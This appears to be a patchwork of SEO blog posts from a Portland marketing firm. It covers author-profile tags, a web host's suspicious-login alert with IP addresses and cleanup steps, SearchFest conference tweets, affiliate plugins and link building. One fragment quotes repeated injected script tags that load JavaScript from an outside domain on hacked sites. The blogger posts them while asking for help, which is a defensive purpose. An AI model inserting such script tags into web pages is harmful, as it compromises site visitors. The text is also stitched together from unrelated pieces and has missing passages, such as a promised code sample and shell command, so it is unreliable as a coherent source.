As your link building campaign continues to grow and more and more content is published, the named persona will earn an online reputation as an expert relevant to the ­field of the what you are publishing. This online author reputation will aid in the effort to earn the affected page optimized page rank, which will aid in the effort to attract even more links, which all helps in the Google Page Rank and keyword ranking process for any website.

To set up the author ranking process, an online author identity profi­le must be established. Then the websites on which the author’s content is published must be linked to in the author profi­le. For the finish, to close the loop the author’s content pages must link to the online author profi­le.

You can see examples of the Author tag on SERP here:

https://www.google.com/search?q=author+implementation
- AJ Kohn

https://www.google.com/search?q=steel+buildings
- Elizabeth Anderson

If you need any help setting this up on your own website, let me know.

#1 Justia

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#2 Nolo

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# 3 Avvo

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# 4 LinkedIn

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#5 Facebook

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16 IPs have logged into user “ABCD” from 3 identified countries within the last 30 days, including:

11 67.160.173.45 (United States)
4 24.20.142.238 (United States)
2 76.105.170.147 (United States)
1 121.191.48.21 (Korea, Republic of)
1 89.165.19.111 (Iran, Islamic Republic of)
1 121.150.235.223 (Korea, Republic of)
1 94.132.121.212 (unknown)
1 211.63.14.175 (Korea, Republic of)
1 155.230.5.134 (Korea, Republic of)
1 186.34.5.90 (unknown)
1 199.1.140.170 (United States)
1 220.93.147.123 (Korea, Republic of)
1 119.206.149.231 (unknown)
1 95.68.15.234 (unknown)
1 180.71.38.137 (unknown)

The countries that have logged into your user are:
2 United States
1 Iran, Islamic Republic of
1 unknown
1 Korea, Republic of

For the last couple months I’ve seen a lot of sites get hacked with code that looks like this:

These are the steps to remove it:

If you do not recognize one or more of these IPs/countries logging into your user as legitimate, you need to immediately take the following measures:

1) Ensure that you (and all of your users) have active and up-to-date virus/malware screening on all computers they use to connect to DreamHost.  Infected computers are often how strong passwords are stolen.

2) Pick a new password for this user via the DreamHost control panel under “Users” -> “Manage Users” -> “Edit”.  Your new password should not bear any similarity to the old one, should not be one you’ve used with any other online service, and should not contain any guessable components.

3) Discontinue use of regular FTP if you use it — it sends passwords over the internet in plaintext.  Use SFTP or SSH which encrypts passwords.  If you don’t need the shell you can change your user to “SFTP-only” via the same page you change your password on in the DreamHost control panel; this will prevent all FTP logins.

4) Review other suspicious files under affected users/domains for potential malicious injections or hacker shells.  Eyeballing your directories for strangely named files, and reviewing recently-modified files can help.  The following shell command will search for files modified within the last 3 days, except for files within your Maildir and logs directories.  You can change the number to change the number of days, and add additional grep exception pipes as well to fine-tune your search (for example if you’re getting a lot of CMS cache results that are cluttering the output).

thereputationprofessional.com

They claim to offer a review service and they will leave positive reviews for businesses in Google places. Asking for Google reviews is one thing, but hiring a service feels wrong.

Right off the bat to me this sounds sketchy (and unethical) so I delete the emails every time but only after I read their intro and call to action/sales pitch.

Reviews should be done, if possible by actual customers of your company or business. The best way to handle this is to ask your customer verbally if they would be interested in posting a review for you. If they say yes, do it then over the phone or follow up by emailing your customer PROMPTLY and sending them a link to your Google places page.

Reviews are essential for:

Website Ranking

Long Term Business Branding

Google SEO

Yahoo SEO

Bing SEO

Local SEO

Maps SEO

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Click here for more information about Google Web Marketing.

Click here to have your website search engine optimized by Expert Portland SEO Consultants.

Starting in Summer 2011 Webfu is excited to offer 1 Time SEO Services.

These SEO Services include:
» Title Tag SEO

» ALTERNATE TEXT Tag SEO

» Meta Description SEO

» Meta Keywords SEO

» Search Engine Optimization for Website Images

» Search Engine Optimization for Sitemap

» Creation of Internal Deep Link within Your Website

» On-Site SEO and Off-Site SEO Recommendations for You to Improve On

And more! If you have questions about these Portland SEO Services click here.

According to Danny Sullivan’s interview with Matt Cutts, 12% of US search results have been affected.

See more here:
http://searchengineland.com/google-forecloses-on-content-farms-with-farmer-algorithm-update-66071

And chatter about this Google Update here:
http://www.v7n.com/forums/google-forum/238063-googles-farmer-algorithm-update.html

I’m sure this affecting many niches in Google but I’m mainly seeing changes for e-commerce websites.

Featured Speakers: Rand Fishkin, Adam Audette, Will Scott, Mike Blumenthal, Todd Malicoat,

SEO Notes:

MnSEM 9:50am via TweetDeck

Unique Root Linking Domains is one of most important ranking signals. #SearchFest

+++++++

dswanson30 9:51am via twicca

The black magic is gone out of seo. #searchfest

++++++++++++

senciaweb 8:48am via HootSuite

RT @ryanbuch: Google instant changing seo. Page titles matter a whole lot more. Snippets matter more. Long tail may benefit #searchfest

+++++++

mediafortemktg 8:44am via Mobile Web

Personalization is default on Google whether or not you are signed into Google #SearchFest

++++++++++

mediafortemktg 9:43am via Mobile Web

Competitive analysis panel, Todd Mailicoat uses SEMRush, SpyFu and Compete to gain competitive intelligence #SearchFest

+++

dswanson30 9:43am via twicca

SEO planning process. Think about the user intent and query type. #searchfest

++++++++++++++++

formicmedia 9:45am via Twitter for BlackBerry®

Use KOB analysis (keyword opposition to benefit) to focus on high benefit commercial keyword phrases via @stuntdubl #searchfest

++++++++++++++

11Bridges 9:54am via TweetDeck

Less “stuff on your pages” converts better. #searchfest

++++++++++++++

formicmedia 9:59am via Twitter for BlackBerry®

KOB analysis impacts on-page seo, content creation, link dev and domain choice via @stuntdubl #searchfest

++++++++++++++++++++

mediafortemktg 10:04am via Mobile Web

Applying competitive intelligence is a process and it’s imperative to growing bottom line #SearchFest

++++++++++++++++++++

AlizaEarnshaw 10:07am via web

Your ability to learn faster than your competition is your only sustainable competitive advantage. Via @JohnAndrews #SearchFest

++++++++++++++++++++
doncampbell 11:23am via Twitter for Mac

#SearchFest @randfish just showed a study: page ranking better with Tweets than with back links… Social Signals = ranking factors

++++++++++++++++++++

LaurieMacomber 11:24am via web

RT @AlizaEarnshaw: Experiments show that a much-tweeted web page will outrank a much-linked web page. Via @RandFish #SearchFest

+++++++++++++++++++++++++++
JRoSEO 11:23am via web

Google and Bing using author authority to weight the value of Facebook/Twitter posts. It’s good to be one of the cool kids #searchfest

++++++++++++++++++++

JRoSEO 11:23am via web

Google and Bing using author authority to weight the value of Facebook/Twitter posts. It’s good to be one of the cool kids #searchfest

++++++++++++++++++++

ion_poodle 11:21am via Twitter for iPhone

Rand Fishkin @ #SearchFest tweeted links have better search ranking with google then links

+++++++++++++++++++++

AlizaEarnshaw 11:10am via web

MattCutts via @randfish: Don’t chase Google’s algo – chase yr best interp of what users want, cause that’s what G’s chasing. #SearchFest

+++++++++++++++++

fellene 11:09am via web

“chase after your best interpretation of what users want, because that’s what Google’s chasing after” — Matt cutts #searchfest

+++++++++++++++

JRoSEO 11:27am via web

@randfish: Social community is becoming an SEO metric. Interesting way to integrate social and SEO #searchfest

+++++++++++++++++++++++++++

staffingrobot 11:27am via TweetDeck

lots and lots of talk about the potetial #Quora has for SEO #searchfest

++++++++++++

JRoSEO 11:28am via web

Instead of “link analysis” focus on “brand analysis” interesting thought from @randfish at #searchfest. Where are brands being talked about?

+++++++++++++++

BenZee 11:42am via web

A good social mix: 60% information, 20% talking about yourself, 20% selling your product. (via @w2scott) #SearchFest

+++++++++++++++++++++++

jeffreyrbunch 11:37am via Twitter for Android

Now @audette is enlightening us on linkbuilding keys. “It’s all about the URL.” #searchfest

+++++++++++++ @deankirklandseo

Mike_Arnesen 11:34am via TweetDeck

#linkBuilding – SEO equity is contained in the URL. That’s where we need to focus. #SearchFest

++++++++++++++++++++

rosshudgens 1:59pm via web

Measure rankings without personalization on Chrome using the tactics in this blog post by Distilled: http://bit.ly/93CzGH #searchfest

+++++++++++++++

MnSEM 2:00pm via Mobile Web

Ranking reports are inaccurate because up to 60 percent of listings are personalized. #searchfest

+++

AlizaEarnshaw 2:02pm via web

In @REI ‘s industry, 8 to 13 visits before someone converts. Engage these folks with great content. Think micro-conversions. #SearchFest

+++++++++++++++

btaylorSEO 2:05pm via web

RT @formicmedia Give your customers “digital swag” to get them to come back if they’re not ready to buy yet #searchfest

+++++++

MnSEM 2:17pm via Mobile Web

Use YSlow for site load time analysis and make improvements. #searchfest

+++++++++++++++

frankiecatPDX 3:12pm via web

Tubemogul.com distributes your video across multiple video portals #searchfest John Shehata

+++++++++++++++

AlizaEarnshaw 3:07pm via web

Put every video on its own page on your site. Write a descriptive URL, and don’t forget the word “video.” Via @JShehata #SearchFest

+++++++++++++++++++

AlizaEarnshaw 3:06pm via web

Tell Google – and people – it’s a video. Put “video” in your page title. Via @JShehata #SearchFest

+++++++++++++++++

garyjmag 2:51pm via HootSuite

Gather team weekly, distribute Resource Plan. Every person knows exactly what they are responsible for that week. – @oilman #searchfest

++++++++++++++++

BenZee 2:51pm via Twitter for iPhone

Diverse multimedia content (photos, videos, articles) is key for Universal Search #SearchFest

++++++++++++++++++++++

mikerosenberg 3:19pm via HootSuite

If a client calls you, call them back, don’t send them an email @portentint #searchfest

+++++++++++++++++

mandyzelinka 3:31pm via Twitterrific

$200 the going rate for an SEO press release? I’m Raising my rates. #searchfest

+++++++++++++++++++

hoffer7 3:27pm via Twitter for iPhone

RT @BenZee: More Facebook users click video content than any other type of content shared on the site #SearchFest

+++++++++++++++++++++++++

ericbwagner 3:37pm via web

Ask your customers for online reviews. #Searchfest

+++++++++++++

RobJellesed 3:37pm via Twitter for iPad

Create transcript of your short video(<3 min) created & placed in your video page. No video > 3 min. Best practice-John Shehata #Searchfest

+++++++++++

doncampbell 3:34pm via Twitter for Mac

There are two types of businesses: those that have received negative reviews, and those that will @mblumenthal at #Searchfest

+++++++++++++++++

AlizaEarnshaw 3:34pm via web

90 % of all searchers look at Google for local businesses, & 70% believe reviews from strangers. Via @MBlumenthal #SearchFest

+++++++++++++++++++

Again, thanks to the Twitter users above and SEMpdx for putting this seminar together.

Let me know if you’re looking for search engine optimization or Portland SEO Services.

From what I can tell, these look like the best plugins to use:

1. Datafeedr.com – Pricey. $27 per month for use on 5 sites.  Looks like the most legit plugin on the market.
2. Digitalquill.co.uk/datafeedplugin – Looks promising and a 1 time charge of about $42 is appealing.
3. Blogpig.com/products/csvpig  – Another promising option from the UK. $77 per year.

We’ll be starting with the Digital Quill affiliate datafeed plugin first. Then if we need to we’ll be trying the other 2 hopefully by the end of this month.

More to come…

script type=”text/javascript” src=”http://ampasanpablo.com/ajax/c.js”></script><script type=”text/javascript” src=”http://ampasanpablo.com/ajax/c.js”></script><script type=”text/javascript” src=”http://ampasanpablo.com/ajax/c.js”></script><script type=”text/javascript” src=”http://ampasanpablo.com/ajax/c.js”></script

Gnarly stuff, not sure how it got in there because we built 2 of these sites at once on two different hosting accounts. One got the hack, and the other one didn’t. Any ideas of yours would be appreciated, feel free to leave a comment.

Thanks!

Even after someone has been instructed well in the joyful art of link building they are bound to have questions. It’s part of the learning process. Nobody likes to be a pain in the ass, and ask questions every 2 minutes because they don’t know how to do something proper. Link building is one of those things where there are many steps involved that need to be produced in sequence in order to achieve top rankings or your desired search results.

For our intern I’ve created a basic 7 step process for link building using a simple 3 way link technique.